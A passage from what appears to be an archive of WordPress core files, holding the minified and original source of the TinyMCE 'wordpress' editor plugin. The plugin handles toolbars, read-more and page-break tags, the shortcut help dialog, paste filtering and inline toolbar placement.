n;t.innerHTML&&t.innerHTML.length<10&&((n=k.trim(t.innerHTML))&&" "!==n||(t.innerHTML=k.Env.ie&&k.Env.ie<11?"":'<br data-mce-bogus="1">'))})}),p.on("PostProcess",function(e){e.get&&(e.content=e.content.replace(/<img[^>]+>/g,function(e){var t,n,o="";return-1!==e.indexOf('data-wp-more="more"')?n="\x3c!--more"+(o=(t=e.match(/data-wp-more-text="([^"]+)"/))?t[1]:o)+"--\x3e":-1!==e.indexOf('data-wp-more="nextpage"')?n="\x3c!--nextpage--\x3e":-1!==e.indexOf("data-wp-preserve")&&(t=e.match(/ data-wp-preserve="([^"]+)"/))&&(n=decodeURIComponent(t[1])),n||e}))}),p.on("ResolveName",function(e){var t;"IMG"===e.target.nodeName&&(t=p.dom.getAttrib(e.target,"data-wp-more"))&&(e.name=t)}),p.addCommand("WP_More",function(e){var t,n="wp-more-tag",o=p.dom,i=p.selection.getNode(),a=p.getBody();n+=" mce-wp-"+(e=e||"more"),t=u("more"===e?"Read more...":"Next page"),t='<img src="'+k.Env.transparentSrc+'" alt="'+t+'" class="'+n+'" data-wp-more="'+e+'" data-mce-resize="false" data-mce-placeholder="1" />',i===a||"P"===i.nodeName&&i.parentNode===a?p.insertContent(t):(n=o.getParent(i,function(e){return!(!e.parentNode||e.parentNode!==a)},p.getBody()))&&("P"===n.nodeName?n.appendChild(o.create("p",null,t).firstChild):o.insertAfter(o.create("p",null,t),n),p.nodeChanged())}),p.addCommand("WP_Code",function(){p.formatter.toggle("code")}),p.addCommand("WP_Page",function(){p.execCommand("WP_More","nextpage")}),p.addCommand("WP_Help",function(){var e,t=k.Env.mac?u("Ctrl + Alt + letter:"):u("Shift + Alt + letter:"),n=k.Env.mac?u("\u2318 + letter:"):u("Ctrl + letter:"),o=[],i=[],a={},r={},s=0,d=0,l=p.settings.wp_shortcut_labels;function c(e,t){var n="<tr>",o=0;for(t=t||1,m(e,function(e,t){n+="<td><kbd>"+t+"</kbd></td><td>"+u(e)+"</td>",o++});o<t;)n+="<td></td><td></td>",o++;return n+"</tr>"}l&&(m(l,function(e,t){var n;-1!==e.indexOf("meta")?(s++,(n=e.replace("meta","").toLowerCase())&&(a[n]=t,s%2==0)&&(o.push(c(a,2)),a={})):-1!==e.indexOf("access")&&(d++,n=e.replace("access","").toLowerCase())&&(r[n]=t,d%2==0)&&(i.push(c(r,2)),r={})}),0<s%2&&o.push(c(a,2)),0<d%2&&i.push(c(r,2)),l="<tr><th>"+(l=[u("Letter"),u("Action"),u("Letter"),u("Action")]).join("</th><th>")+"</th></tr>",e=(e='<div class="wp-editor-help">')+"<h2>"+u("Default shortcuts,")+" "+n+'</h2><table class="wp-help-th-center fixed">'+l+o.join("")+"</table><h2>"+u("Additional shortcuts,")+" "+t+'</h2><table class="wp-help-th-center fixed">'+l+i.join("")+"</table>",e=(e=p.plugins.wptextpattern&&(!k.Env.ie||8<k.Env.ie)?(e=e+"<h2>"+u("When starting a new paragraph with one of these formatting shortcuts followed by a space, the formatting will be applied automatically. Press Backspace or Escape to undo.")+'</h2><table class="wp-help-th-center fixed">'+c({"*":"Bullet list","1.":"Numbered list"})+c({"-":"Bullet list","1)":"Numbered list"})+"</table>")+"<h2>"+u("The following formatting shortcuts are replaced when pressing Enter. Press Escape or the Undo button to undo.")+'</h2><table class="wp-help-single">'+c({">":"Blockquote"})+c({"##":"Heading 2"})+c({"###":"Heading 3"})+c({"####":"Heading 4"})+c({"#####":"Heading 5"})+c({"######":"Heading 6"})+c({"---":"Horizontal line"})+"</table>":e)+"<h2>"+u("Focus shortcuts:")+'</h2><table class="wp-help-single">'+c({"Alt + F8":"Inline toolbar (when an image, link or preview is selected)"})+c({"Alt + F9":"Editor menu (when enabled)"})+c({"Alt + F10":"Editor toolbar"})+c({"Alt + F11":"Elements path"})+"</table><p>"+u("To move focus to other buttons use Tab or the arrow keys. To return focus to the editor press Escape or use one of the buttons.")+"</p>",(n=p.windowManager.open({title:p.settings.classic_block_editor?"Classic Block Keyboard Shortcuts":"Keyboard Shortcuts",items:{type:"container",classes:"wp-help",html:e+="</div>"},buttons:{text:"Close",onclick:"close"}})).$el)&&(n.$el.find('div[role="application"]').attr("role","document"),(t=n.$el.find(".mce-wp-help"))[0])&&(t.attr("tabindex","0"),t[0].focus(),t.on("keydown",function(e){33<=e.keyCode&&e.keyCode<=40&&e.stopPropagation()}))}),p.addCommand("WP_Medialib",function(){o&&o.media&&o.media.editor&&o.media.editor.open(p.id)}),p.addButton("wp_more",{tooltip:"Insert Read More tag",onclick:function(){p.execCommand("WP_More","more")}}),p.addButton("wp_page",{tooltip:"Page break",onclick:function(){p.execCommand("WP_More","nextpage")}}),p.addButton("wp_help",{tooltip:"Keyboard Shortcuts",cmd:"WP_Help"}),p.addButton("wp_code",{tooltip:"Code",cmd:"WP_Code",stateSelector:"code"}),o&&o.media&&o.media.editor&&(p.addButton("wp_add_media",{tooltip:"Add Media",icon:"dashicon dashicons-admin-media",cmd:"WP_Medialib"}),p.addMenuItem("add_media",{text:"Add Media",icon:"wp-media-library",context:"insert",cmd:"WP_Medialib"})),p.addMenuItem("wp_more",{text:"Insert Read More tag",icon:"wp_more",context:"insert",onclick:function(){p.execCommand("WP_More","more")}}),p.addMenuItem("wp_page",{text:"Page break",icon:"wp_page",context:"insert",onclick:function(){p.execCommand("WP_More","nextpage")}}),p.on("BeforeExecCommand",function(e){!k.Env.webkit||"InsertUnorderedList"!==e.command&&"InsertOrderedList"!==e.command||(t=t||p.dom.create("style",{type:"text/css"},"#tinymce,#tinymce span,#tinymce li,#tinymce li>span,#tinymce p,#tinymce p>span{font:medium sans-serif;color:#000;line-height:normal;}"),p.getDoc().head.appendChild(t))}),p.on("ExecCommand",function(e){k.Env.webkit&&t&&("InsertUnorderedList"===e.command||"InsertOrderedList"===e.command)&&p.dom.remove(t)}),p.on("init",function(){var e=k.Env,t=["mceContentBody"],n=p.getDoc(),o=p.dom;e.iOS&&o.addClass(n.documentElement,"ios"),"rtl"===p.getParam("directionality")&&(t.push("rtl"),o.setAttrib(n.documentElement,"dir","rtl")),o.setAttrib(n.documentElement,"lang",p.getParam("wp_lang_attr")),e.ie?9===parseInt(e.ie,10)?t.push("ie9"):8===parseInt(e.ie,10)?t.push("ie8"):e.ie<8&&t.push("ie7"):e.webkit&&t.push("webkit"),t.push("wp-editor"),m(t,function(e){e&&o.addClass(n.body,e)}),p.on("BeforeSetContent",function(e){e.content&&(e.content=e.content.replace(/<p>\s*<(p|div|ul|ol|dl|table|blockquote|h[1-6]|fieldset|pre)( [^>]*)?>/gi,"<$1$2>").replace(/<\/(p|div|ul|ol|dl|table|blockquote|h[1-6]|fieldset|pre)>\s*<\/p>/gi,"</$1>"))}),i&&i(function(){i(document).triggerHandler("tinymce-editor-init",[p])}),window.tinyMCEPreInit&&window.tinyMCEPreInit.dragDropUpload&&o.bind(n,"dragstart dragend dragover drop",function(e){i&&i(document).trigger(new i.Event(e))}),p.getParam("wp_paste_filters",!0)&&(p.on("PastePreProcess",function(e){e.content=e.content.replace(/<br class="?Apple-interchange-newline"?>/gi,""),k.Env.webkit||(e.content=e.content.replace(/(<[^>]+) style="[^"]*"([^>]*>)/gi,"$1$2"),e.content=e.content.replace(/(<[^>]+) data-mce-style=([^>]+>)/gi,"$1 style=$2"))}),p.on("PastePostProcess",function(e){p.$("p",e.node).each(function(e,t){o.isEmpty(t)&&o.remove(t)}),k.isIE&&p.$("a",e.node).find("font, u").each(function(e,t){o.remove(t,!0)})}))}),p.on("SaveContent",function(e){!p.inline&&p.isHidden()?e.content=e.element.value:(e.content=e.content.replace(/<p>(?:<br ?\/?>|\u00a0|\uFEFF| )*<\/p>/g,"<p> </p>"),e.content=r?o.editor.removep(e.content):e.content.replace(/-->\s*<!-- wp:/g,"--\x3e\n\n\x3c!-- wp:"))}),p.on("preInit",function(){p.schema.addValidElements("@[id|accesskey|class|dir|lang|style|tabindex|title|contenteditable|draggable|dropzone|hidden|spellcheck|translate],i,b,script[src|async|defer|type|charset|crossorigin|integrity]"),k.Env.iOS&&(p.settings.height=300),m({c:"JustifyCenter",r:"JustifyRight",l:"JustifyLeft",j:"JustifyFull",q:"mceBlockQuote",u:"InsertUnorderedList",o:"InsertOrderedList",m:"WP_Medialib",t:"WP_More",d:"Strikethrough",p:"WP_Page",x:"WP_Code"},function(e,t){p.shortcuts.add("access+"+t,"",e)}),p.addShortcut("meta+s","",function(){o&&o.autosave&&o.autosave.server.triggerSave()}),p.settings.classic_block_editor||p.addShortcut("access+z","","WP_Adv"),p.on("keydown",function(e){var t=k.Env.mac?e.ctrlKey&&e.altKey&&"KeyH"===e.code:e.shiftKey&&e.altKey&&"KeyH"===e.code;return!t||(p.execCommand("WP_Help"),e.stopPropagation(),e.stopImmediatePropagation(),!1)}),1<window.getUserSetting("editor_plain_text_paste_warning")&&(p.settings.paste_plaintext_inform=!1),k.Env.mac&&k.$(p.iframeElement).attr("title",u("Rich Text Area. Press Control-Option-H for help."))}),p.on("PastePlainTextToggle",function(e){!0===e.state&&(e=parseInt(window.getUserSetting("editor_plain_text_paste_warning"),10)||0)<2&&window.setUserSetting("editor_plain_text_paste_warning",++e)}),p.on("beforerenderui",function(){p.theme.panel&&(m(["button","colorbutton","splitbutton"],function(e){(e=p.theme.panel.find(e))&&m(e,function(e){var t;e&&e.settings.tooltip&&(t=d(e.settings.tooltip),e.settings.tooltip=t,e._aria)&&e._aria.label&&(e._aria.label=t)})}),m(p.theme.panel.find("listbox"),function(e){e&&"Paragraph"===e.settings.text&&m(e.settings.values,function(e){e.text&&s.hasOwnProperty(e.text)&&(e.shortcut="("+s[e.text]+")")})}))}),p.on("preinit",function(){var n,v,t,_,y,P,o,r=k.ui.Factory,s=p.settings,e=p.getContainer(),x=document.getElementById("wpadminbar"),C=document.getElementById(p.id+"_ifr");function i(e){if(n)if(n.tempHide||"hide"===e.type||"blur"===e.type)n.hide(),n=!1;else if(("resizewindow"===e.type||"scrollwindow"===e.type||"resize"===e.type||"scroll"===e.type)&&!n.blockHide){if("resize"===e.type||"resizewindow"===e.type){if(e=(e=p.getWin()).innerHeight+e.innerWidth,!(o=o&&2e3<(new Date).getTime()-o.timestamp?null:o))return void(o={timestamp:(new Date).getTime(),size:e});if(e&&Math.abs(e-o.size)<2)return}clearTimeout(t),t=setTimeout(function(){n&&"function"==typeof n.show&&(n.scrolling=!1,n.show())},250),n.scrolling=!0,n.hide()}}e&&(_=k.$(".mce-toolbar-grp",e)[0],y=k.$(".mce-statusbar",e)[0]),"content"===p.id&&(P=document.getElementById("post-status-info")),p.shortcuts.add("alt+119","",function(){var e;n&&(e=n.find("toolbar")[0])&&e.focus(!0)}),p.on("nodechange",function(e){var t=p.selection.isCollapsed(),e={element:e.element,parents:e.parents,collapsed:t};p.fire("wptoolbar",e),v=e.selection||e.element,n&&n!==e.toolbar&&n.hide(),e.toolbar?(n=e.toolbar).visible()?n.reposition():n.show():n=!1}),p.on("focus",function(){n&&n.show()}),p.inline?(p.on("resizewindow",i),document.addEventListener("scroll",i,!0)):(p.dom.bind(p.getWin(),"resize scroll",i),p.on("resizewindow scrollwindow",i)),p.on("remove",function(){document.removeEventListener("scroll",i,!0),p.off("resizewindow scrollwindow",i),p.dom.unbind(p.getWin(),"resize scroll",i)}),p.on("blur hide",i),p.wp=p.wp||{},p.wp._createToolbar=function(e,t){var n,o,a=[];return m(e,function(i){var t,e;function n(){var e=p.selection;"bullist"===t&&e.selectorChanged("ul > li",function(e,t){for(var n,o=t.parents.length;o--&&"OL"!==(n=t.parents[o].nodeName)&&"UL"!=n;);i.active(e&&"UL"===n)}),"numlist"===t&&e.selectorChanged("ol > li",function(e,t){for(var n,o=t.parents.length;o--&&"OL"!==(n=t.parents[o].nodeName)&&"UL"!==n;);i.active(e&&"OL"===n)}),i.settings.stateSelector&&e.selectorChanged(i.settings.stateSelector,function(e){i.active(e)},!0),i.settings.disabledStateSelector&&e.selectorChanged(i.settings.disabledStateSelector,function(e){i.disabled(e)})}"|"===i?o=null:r.has(i)?(i={type:i},s.toolbar_items_size&&(i.size=s.toolbar_items_size),a.push(i),o=null):(o||(o={type:"buttongroup",items:[]},a.push(o)),p.buttons[i]&&(t=i,(i="function"==typeof(i=p.buttons[t])?i():i).type=i.type||"button",s.toolbar_items_size&&(i.size=s.toolbar_items_size),(e=i.tooltip||i.title)&&(i.tooltip=d(e)),i=r.create(i),o.items.push(i),p.initialized?n():p.on("init",n)))}),(n=r.create({type:"panel",layout:"stack",classes:"toolbar-grp inline-toolbar-grp",ariaRoot:!0,ariaRemember:!0,items:[{type:"toolbar",layout:"flow",items:a}]})).bottom=t,n.on("show",function(){this.reposition()}),n.on("keydown",function(e){27===e.keyCode&&(this.hide(),p.focus())}),p.on("remove",function(){n.remove()}),n.reposition=function(){var e,t,n,o,i,a,r,s,d,l,c,p,m,u,g,h,f,w,b;return v&&(e=window.pageXOffset||document.documentElement.scrollLeft,t=window.pageYOffset||document.documentElement.scrollTop,n=window.innerWidth,u=window.innerHeight,o=C?C.getBoundingClientRect():{top:0,right:n,bottom:u,left:0,width:n,height:u},a=(i=this.getEl()).offsetWidth,r=i.clientHeight,d=((s=v.getBoundingClientRect()).left+s.right)/2,l=r+5,c=x?x.getBoundingClientRect().bottom:0,b=_?_.getBoundingClientRect().bottom:0,p=y?u-y.getBoundingClientRect().top:0,m=P?u-P.getBoundingClientRect().top:0,c=Math.max(0,c,b,o.top),b=Math.max(0,p,m,u-o.bottom),p=s.top+o.top-c,m=u-o.top-s.bottom-b,g="",f=h=0,(u=u-c-b)<=p||u<=m?(this.scrolling=!0,this.hide(),this.scrolling=!1):(k.Env.iOS&&"IMG"===v.nodeName&&(h=54,f=46),this.bottom?l<=m?(g=" mce-arrow-up",w=s.bottom+o.top+t-f):l<=p&&(g=" mce-arrow-down",w=s.top+o.top+t-r+h):l<=p?(g=" mce-arrow-down",w=s.top+o.top+t-r+h):l<=m&&u/2>s.bottom+o.top-c&&(g=" mce-arrow-up",w=s.bottom+o.top+t-f),void 0===w&&(w=t+c+5+f),b=d-a/2+o.left+e,s.left<0||s.right>o.width?b=o.left+e+(o.width-a)/2:n<=a?(g+=" mce-arrow-full",b=0):b<0&&s.left+a>n||n<b+a&&s.right-a<0?b=(n-a)/2:b<o.left+e?(g+=" mce-arrow-left",b=s.left+o.left+e):b+a>o.width+o.left+e&&(g+=" mce-arrow-right",b=s.right-a+o.left+e),k.Env.iOS&&"IMG"===v.nodeName&&(g=g.replace(/ ?mce-arrow-(up|down)/g,"")),i.className=i.className.replace(/ ?mce-arrow-[\w]+/g,"")+g,E.setStyles(i,{left:b,top:w}))),this},n.hide().renderTo(document.body),n}},!0),{_showButtons:n,_hideButtons:n,_setEmbed:n,_getEmbed:n}})}(window.tinymce); tinymce/plugins/wordpress/plugin.js 0000644 00000102542 15111757756 0013604 0 ustar 00 /* global getUserSetting, setUserSetting */ ( function( tinymce ) { // Set the minimum value for the modals z-index higher than #wpadminbar (100000). if ( ! tinymce.ui.FloatPanel.zIndex || tinymce.ui.FloatPanel.zIndex < 100100 ) { tinymce.ui.FloatPanel.zIndex = 100100; } tinymce.PluginManager.add( 'wordpress', function( editor ) { var wpAdvButton, style, DOM = tinymce.DOM, each = tinymce.each, __ = editor.editorManager.i18n.translate, $ = window.jQuery, wp = window.wp, hasWpautop = ( wp && wp.editor && wp.editor.autop && editor.getParam( 'wpautop', true ) ), wpTooltips = false; if ( $ ) { // Runs as soon as TinyMCE has started initializing, while plugins are loading. // Handlers attached after the `tinymce.init()` call may not get triggered for this instance. $( document ).triggerHandler( 'tinymce-editor-setup', [ editor ] ); } function toggleToolbars( state ) { var initial, toolbars, iframeHeight, pixels = 0, classicBlockToolbar = tinymce.$( '.block-library-classic__toolbar' ); if ( state === 'hide' ) { initial = true; } else if ( classicBlockToolbar.length && ! classicBlockToolbar.hasClass( 'has-advanced-toolbar' ) ) { // Show the second, third, etc. toolbar rows in the Classic block instance. classicBlockToolbar.addClass( 'has-advanced-toolbar' ); state = 'show'; } if ( editor.theme.panel ) { toolbars = editor.theme.panel.find('.toolbar:not(.menubar)'); } if ( toolbars && toolbars.length > 1 ) { if ( ! state && toolbars[1].visible() ) { state = 'hide'; } each( toolbars, function( toolbar, i ) { if ( i > 0 ) { if ( state === 'hide' ) { toolbar.hide(); pixels += 34; } else { toolbar.show(); pixels -= 34; } } }); } // Resize editor iframe, not needed for iOS and inline instances. // Don't resize if the editor is in a hidden container. if ( pixels && ! tinymce.Env.iOS && editor.iframeElement && editor.iframeElement.clientHeight ) { iframeHeight = editor.iframeElement.clientHeight + pixels; // Keep min-height. if ( iframeHeight > 50 ) { DOM.setStyle( editor.iframeElement, 'height', iframeHeight ); } } if ( ! initial ) { if ( state === 'hide' ) { setUserSetting( 'hidetb', '0' ); wpAdvButton && wpAdvButton.active( false ); } else { setUserSetting( 'hidetb', '1' ); wpAdvButton && wpAdvButton.active( true ); } } editor.fire( 'wp-toolbar-toggle' ); } // Add the kitchen sink button :) editor.addButton( 'wp_adv', { tooltip: 'Toolbar Toggle', cmd: 'WP_Adv', onPostRender: function() { wpAdvButton = this; wpAdvButton.active( getUserSetting( 'hidetb' ) === '1' ); } }); // Hide the toolbars after loading. editor.on( 'PostRender', function() { if ( editor.getParam( 'wordpress_adv_hidden', true ) && getUserSetting( 'hidetb', '0' ) === '0' ) { toggleToolbars( 'hide' ); } else { tinymce.$( '.block-library-classic__toolbar' ).addClass( 'has-advanced-toolbar' ); } }); editor.addCommand( 'WP_Adv', function() { toggleToolbars(); }); editor.on( 'focus', function() { window.wpActiveEditor = editor.id; }); editor.on( 'BeforeSetContent', function( event ) { var title; if ( event.content ) { if ( event.content.indexOf( '<!--more' ) !== -1 ) { title = __( 'Read more...' ); event.content = event.content.replace( /<!--more(.*?)-->/g, function( match, moretext ) { return '<img src="' + tinymce.Env.transparentSrc + '" data-wp-more="more" data-wp-more-text="' + moretext + '" ' + 'class="wp-more-tag mce-wp-more" alt="' + title + '" data-mce-resize="false" data-mce-placeholder="1" />'; }); } if ( event.content.indexOf( '<!--nextpage-->' ) !== -1 ) { title = __( 'Page break' ); event.content = event.content.replace( /<!--nextpage-->/g, '<img src="' + tinymce.Env.transparentSrc + '" data-wp-more="nextpage" class="wp-more-tag mce-wp-nextpage" ' + 'alt="' + title + '" data-mce-resize="false" data-mce-placeholder="1" />' ); } if ( event.load && event.format !== 'raw' ) { if ( hasWpautop ) { event.content = wp.editor.autop( event.content ); } else { // Prevent creation of paragraphs out of multiple HTML comments. event.content = event.content.replace( /-->\s+<!--/g, '--><!--' ); } } if ( event.content.indexOf( '<script' ) !== -1 || event.content.indexOf( '<style' ) !== -1 ) { event.content = event.content.replace( /<(script|style)[^>]*>[\s\S]*?<\/\1>/g, function( match, tag ) { return '<img ' + 'src="' + tinymce.Env.transparentSrc + '" ' + 'data-wp-preserve="' + encodeURIComponent( match ) + '" ' + 'data-mce-resize="false" ' + 'data-mce-placeholder="1" '+ 'class="mce-object mce-object-' + tag + '" ' + 'width="20" height="20" '+ 'alt="<' + tag + '>" ' + '/>'; } ); } } }); editor.on( 'setcontent', function() { // Remove spaces from empty paragraphs. editor.$( 'p' ).each( function( i, node ) { if ( node.innerHTML && node.innerHTML.length < 10 ) { var html = tinymce.trim( node.innerHTML ); if ( ! html || html === ' ' ) { node.innerHTML = ( tinymce.Env.ie && tinymce.Env.ie < 11 ) ? '' : '<br data-mce-bogus="1">'; } } } ); }); editor.on( 'PostProcess', function( event ) { if ( event.get ) { event.content = event.content.replace(/<img[^>]+>/g, function( image ) { var match, string, moretext = ''; if ( image.indexOf( 'data-wp-more="more"' ) !== -1 ) { if ( match = image.match( /data-wp-more-text="([^"]+)"/ ) ) { moretext = match[1]; } string = '<!--more' + moretext + '-->'; } else if ( image.indexOf( 'data-wp-more="nextpage"' ) !== -1 ) { string = '<!--nextpage-->'; } else if ( image.indexOf( 'data-wp-preserve' ) !== -1 ) { if ( match = image.match( / data-wp-preserve="([^"]+)"/ ) ) { string = decodeURIComponent( match[1] ); } } return string || image; }); } }); // Display the tag name instead of img in element path. editor.on( 'ResolveName', function( event ) { var attr; if ( event.target.nodeName === 'IMG' && ( attr = editor.dom.getAttrib( event.target, 'data-wp-more' ) ) ) { event.name = attr; } }); // Register commands. editor.addCommand( 'WP_More', function( tag ) { var parent, html, title, classname = 'wp-more-tag', dom = editor.dom, node = editor.selection.getNode(), rootNode = editor.getBody(); tag = tag || 'more'; classname += ' mce-wp-' + tag; title = tag === 'more' ? 'Read more...' : 'Next page'; title = __( title ); html = '<img src="' + tinymce.Env.transparentSrc + '" alt="' + title + '" class="' + classname + '" ' + 'data-wp-more="' + tag + '" data-mce-resize="false" data-mce-placeholder="1" />'; // Most common case. if ( node === rootNode || ( node.nodeName === 'P' && node.parentNode === rootNode ) ) { editor.insertContent( html ); return; } // Get the top level parent node. parent = dom.getParent( node, function( found ) { if ( found.parentNode && found.parentNode === rootNode ) { return true; } return false; }, editor.getBody() ); if ( parent ) { if ( parent.nodeName === 'P' ) { parent.appendChild( dom.create( 'p', null, html ).firstChild ); } else { dom.insertAfter( dom.create( 'p', null, html ), parent ); } editor.nodeChanged(); } }); editor.addCommand( 'WP_Code', function() { editor.formatter.toggle('code'); }); editor.addCommand( 'WP_Page', function() { editor.execCommand( 'WP_More', 'nextpage' ); }); editor.addCommand( 'WP_Help', function() { var access = tinymce.Env.mac ? __( 'Ctrl + Alt + letter:' ) : __( 'Shift + Alt + letter:' ), meta = tinymce.Env.mac ? __( '⌘ + letter:' ) : __( 'Ctrl + letter:' ), table1 = [], table2 = [], row1 = {}, row2 = {}, i1 = 0, i2 = 0, labels = editor.settings.wp_shortcut_labels, header, html, dialog, $wrap; if ( ! labels ) { return; } function tr( row, columns ) { var out = '<tr>'; var i = 0; columns = columns || 1; each( row, function( text, key ) { out += '<td><kbd>' + key + '</kbd></td><td>' + __( text ) + '</td>'; i++; }); while ( i < columns ) { out += '<td></td><td></td>'; i++; } return out + '</tr>'; } each ( labels, function( label, name ) { var letter; if ( label.indexOf( 'meta' ) !== -1 ) { i1++; letter = label.replace( 'meta', '' ).toLowerCase(); if ( letter ) { row1[ letter ] = name; if ( i1 % 2 === 0 ) { table1.push( tr( row1, 2 ) ); row1 = {}; } } } else if ( label.indexOf( 'access' ) !== -1 ) { i2++; letter = label.replace( 'access', '' ).toLowerCase(); if ( letter ) { row2[ letter ] = name; if ( i2 % 2 === 0 ) { table2.push( tr( row2, 2 ) ); row2 = {}; } } } } ); // Add remaining single entries. if ( i1 % 2 > 0 ) { table1.push( tr( row1, 2 ) ); } if ( i2 % 2 > 0 ) { table2.push( tr( row2, 2 ) ); } header = [ __( 'Letter' ), __( 'Action' ), __( 'Letter' ), __( 'Action' ) ]; header = '<tr><th>' + header.join( '</th><th>' ) + '</th></tr>'; html = '<div class="wp-editor-help">'; // Main section, default and additional shortcuts. html = html + '<h2>' + __( 'Default shortcuts,' ) + ' ' + meta + '</h2>' + '<table class="wp-help-th-center fixed">' + header + table1.join('') + '</table>' + '<h2>' + __( 'Additional shortcuts,' ) + ' ' + access + '</h2>' + '<table class="wp-help-th-center fixed">' + header + table2.join('') + '</table>'; if ( editor.plugins.wptextpattern && ( ! tinymce.Env.ie || tinymce.Env.ie > 8 ) ) { // Text pattern section. html = html + '<h2>' + __( 'When starting a new paragraph with one of these formatting shortcuts followed by a space, the formatting will be applied automatically. Press Backspace or Escape to undo.' ) + '</h2>' + '<table class="wp-help-th-center fixed">' + tr({ '*': 'Bullet list', '1.': 'Numbered list' }) + tr({ '-': 'Bullet list', '1)': 'Numbered list' }) + '</table>'; html = html + '<h2>' + __( 'The following formatting shortcuts are replaced when pressing Enter. Press Escape or the Undo button to undo.' ) + '</h2>' + '<table class="wp-help-single">' + tr({ '>': 'Blockquote' }) + tr({ '##': 'Heading 2' }) + tr({ '###': 'Heading 3' }) + tr({ '####': 'Heading 4' }) + tr({ '#####': 'Heading 5' }) + tr({ '######': 'Heading 6' }) + tr({ '---': 'Horizontal line' }) + '</table>'; } // Focus management section. html = html + '<h2>' + __( 'Focus shortcuts:' ) + '</h2>' + '<table class="wp-help-single">' + tr({ 'Alt + F8': 'Inline toolbar (when an image, link or preview is selected)' }) + tr({ 'Alt + F9': 'Editor menu (when enabled)' }) + tr({ 'Alt + F10': 'Editor toolbar' }) + tr({ 'Alt + F11': 'Elements path' }) + '</table>' + '<p>' + __( 'To move focus to other buttons use Tab or the arrow keys. To return focus to the editor press Escape or use one of the buttons.' ) + '</p>'; html += '</div>'; dialog = editor.windowManager.open( { title: editor.settings.classic_block_editor ? 'Classic Block Keyboard Shortcuts' : 'Keyboard Shortcuts', items: { type: 'container', classes: 'wp-help', html: html }, buttons: { text: 'Close', onclick: 'close' } } ); if ( dialog.$el ) { dialog.$el.find( 'div[role="application"]' ).attr( 'role', 'document' ); $wrap = dialog.$el.find( '.mce-wp-help' ); if ( $wrap[0] ) { $wrap.attr( 'tabindex', '0' ); $wrap[0].focus(); $wrap.on( 'keydown', function( event ) { // Prevent use of: page up, page down, end, home, left arrow, up arrow, right arrow, down arrow // in the dialog keydown handler. if ( event.keyCode >= 33 && event.keyCode <= 40 ) { event.stopPropagation(); } }); } } } ); editor.addCommand( 'WP_Medialib', function() { if ( wp && wp.media && wp.media.editor ) { wp.media.editor.open( editor.id ); } }); // Register buttons. editor.addButton( 'wp_more', { tooltip: 'Insert Read More tag', onclick: function() { editor.execCommand( 'WP_More', 'more' ); } }); editor.addButton( 'wp_page', { tooltip: 'Page break', onclick: function() { editor.execCommand( 'WP_More', 'nextpage' ); } }); editor.addButton( 'wp_help', { tooltip: 'Keyboard Shortcuts', cmd: 'WP_Help' }); editor.addButton( 'wp_code', { tooltip: 'Code', cmd: 'WP_Code', stateSelector: 'code' }); // Insert->Add Media. if ( wp && wp.media && wp.media.editor ) { editor.addButton( 'wp_add_media', { tooltip: 'Add Media', icon: 'dashicon dashicons-admin-media', cmd: 'WP_Medialib' } ); editor.addMenuItem( 'add_media', { text: 'Add Media', icon: 'wp-media-library', context: 'insert', cmd: 'WP_Medialib' }); } // Insert "Read More...". editor.addMenuItem( 'wp_more', { text: 'Insert Read More tag', icon: 'wp_more', context: 'insert', onclick: function() { editor.execCommand( 'WP_More', 'more' ); } }); // Insert "Next Page". editor.addMenuItem( 'wp_page', { text: 'Page break', icon: 'wp_page', context: 'insert', onclick: function() { editor.execCommand( 'WP_More', 'nextpage' ); } }); editor.on( 'BeforeExecCommand', function(e) { if ( tinymce.Env.webkit && ( e.command === 'InsertUnorderedList' || e.command === 'InsertOrderedList' ) ) { if ( ! style ) { style = editor.dom.create( 'style', {'type': 'text/css'}, '#tinymce,#tinymce span,#tinymce li,#tinymce li>span,#tinymce p,#tinymce p>span{font:medium sans-serif;color:#000;line-height:normal;}'); } editor.getDoc().head.appendChild( style ); } }); editor.on( 'ExecCommand', function( e ) { if ( tinymce.Env.webkit && style && ( 'InsertUnorderedList' === e.command || 'InsertOrderedList' === e.command ) ) { editor.dom.remove( style ); } }); editor.on( 'init', function() { var env = tinymce.Env, bodyClass = ['mceContentBody'], // Back-compat for themes that use this in editor-style.css... doc = editor.getDoc(), dom = editor.dom; if ( env.iOS ) { dom.addClass( doc.documentElement, 'ios' ); } if ( editor.getParam( 'directionality' ) === 'rtl' ) { bodyClass.push('rtl'); dom.setAttrib( doc.documentElement, 'dir', 'rtl' ); } dom.setAttrib( doc.documentElement, 'lang', editor.getParam( 'wp_lang_attr' ) ); if ( env.ie ) { if ( parseInt( env.ie, 10 ) === 9 ) { bodyClass.push('ie9'); } else if ( parseInt( env.ie, 10 ) === 8 ) { bodyClass.push('ie8'); } else if ( env.ie < 8 ) { bodyClass.push('ie7'); } } else if ( env.webkit ) { bodyClass.push('webkit'); } bodyClass.push('wp-editor'); each( bodyClass, function( cls ) { if ( cls ) { dom.addClass( doc.body, cls ); } }); // Remove invalid parent paragraphs when inserting HTML. editor.on( 'BeforeSetContent', function( event ) { if ( event.content ) { event.content = event.content.replace( /<p>\s*<(p|div|ul|ol|dl|table|blockquote|h[1-6]|fieldset|pre)( [^>]*)?>/gi, '<$1$2>' ) .replace( /<\/(p|div|ul|ol|dl|table|blockquote|h[1-6]|fieldset|pre)>\s*<\/p>/gi, '</$1>' ); } }); if ( $ ) { // Run on DOM ready. Otherwise TinyMCE may initialize earlier and handlers attached // on DOM ready of after the `tinymce.init()` call may not get triggered. $( function() { $( document ).triggerHandler( 'tinymce-editor-init', [editor] ); }); } if ( window.tinyMCEPreInit && window.tinyMCEPreInit.dragDropUpload ) { dom.bind( doc, 'dragstart dragend dragover drop', function( event ) { if ( $ ) { // Trigger the jQuery handlers. $( document ).trigger( new $.Event( event ) ); } }); } if ( editor.getParam( 'wp_paste_filters', true ) ) { editor.on( 'PastePreProcess', function( event ) { // Remove trailing <br> added by WebKit browsers to the clipboard. event.content = event.content.replace( /<br class="?Apple-interchange-newline"?>/gi, '' ); // In WebKit this is handled by removeWebKitStyles(). if ( ! tinymce.Env.webkit ) { // Remove all inline styles. event.content = event.content.replace( /(<[^>]+) style="[^"]*"([^>]*>)/gi, '$1$2' ); // Put back the internal styles. event.content = event.content.replace(/(<[^>]+) data-mce-style=([^>]+>)/gi, '$1 style=$2' ); } }); editor.on( 'PastePostProcess', function( event ) { // Remove empty paragraphs. editor.$( 'p', event.node ).each( function( i, node ) { if ( dom.isEmpty( node ) ) { dom.remove( node ); } }); if ( tinymce.isIE ) { editor.$( 'a', event.node ).find( 'font, u' ).each( function( i, node ) { dom.remove( node, true ); }); } }); } }); editor.on( 'SaveContent', function( event ) { // If editor is hidden, we just want the textarea's value to be saved. if ( ! 